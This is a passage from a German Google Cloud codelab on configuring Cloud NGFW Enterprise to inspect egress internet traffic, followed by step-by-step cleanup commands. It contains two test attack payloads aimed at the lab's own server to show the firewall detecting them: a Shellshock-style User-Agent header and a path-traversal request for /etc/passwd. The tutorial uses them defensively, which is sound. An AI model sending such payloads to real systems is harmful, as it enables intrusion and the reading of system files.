Wie im vorherigen Abschnitt überprüft, sind die bisher untersuchten Flows Intra-Subnetz-/VPC-Traffic (Ost-West) und eingehender Traffic aus dem Internet (Nord-Süd-Eingang). Cloud NGFW Enterprise kann auch so konfiguriert werden, dass der gesamte Internettraffic (North-South-Ausgang) geprüft wird. Dazu erstellen Sie mit Cloud Shell eine neue Ausgangsregel:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Wechseln Sie zurück zur Client-VM und senden Sie noch einmal Angriffe mit hohem Schweregrad an die externe Server-IP:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Erwartete Ausgabe:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Wechseln Sie in der Cloud Console zum Tab „Bedrohungen“, um die Logs zu prüfen. Möglicherweise müssen Sie die Seite mehrmals aktualisieren. Die Angriffe sollten wieder erkannt und protokolliert werden. Die Quell-IP ist jetzt jedoch intern, da zuerst eine Regel für ausgehenden Traffic ausgelöst wird:

36f8edf264dcddcd.png

Schließen Sie die SSH-Sitzung und fahren Sie mit dem nächsten Abschnitt fort, in dem die Bereinigungsschritte beschrieben werden.

8. Bereinigungsschritte

Cloud NGFW Enterprise-Komponenten bereinigen

Vorhandene Cloud NGFW Enterprise-Zuordnungen auflisten:

gcloud network-security firewall-endpoint-associations list

Löschen Sie die Cloud NGFW Enterprise-Zuordnung:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

So listen Sie vorhandene Cloud NGFW Enterprise-Endpunkte auf:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Löschen Sie den Cloud NGFW Enterprise-Endpunkt. Das kann etwa 20 Minuten dauern:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Prüfen Sie mit dem folgenden Befehl, ob die Cloud NGFW Enterprise-Instanz gelöscht wurde:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Löschen Sie die Sicherheitsprofilgruppe und das Profil zur Bedrohungsvermeidung:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Bereinigung der Grundeinrichtung

Fahren Sie mit dem nächsten Schritt fort, wenn Sie die Basisressourcen löschen möchten.

Definieren Sie die Umgebungsvariablen, falls erforderlich. Löschen Sie in Cloud Shell die Komponenten des Netzwerk-Load-Balancers:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Instanzen entfernen:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Optional können Sie die folgenden Schritte ausführen, wenn die Rollen „tagAdmin“ und „tagUsers“ geändert wurden:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Tag-Schlüssel und -Werte entfernen:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Löschen Sie die Cloud Firewall-Netzwerkrichtlinie und die Verknüpfung:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router und Cloud NAT löschen:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Reservierte IP-Adressen löschen:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Löschen Sie schließlich das Subnetz und das VPC-Netzwerk:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Glückwunsch!

Herzlichen Glückwunsch! Sie haben das Codelab „Cloud NGFW Enterprise für die East-West- und North-South-Prüfung“ erfolgreich abgeschlossen.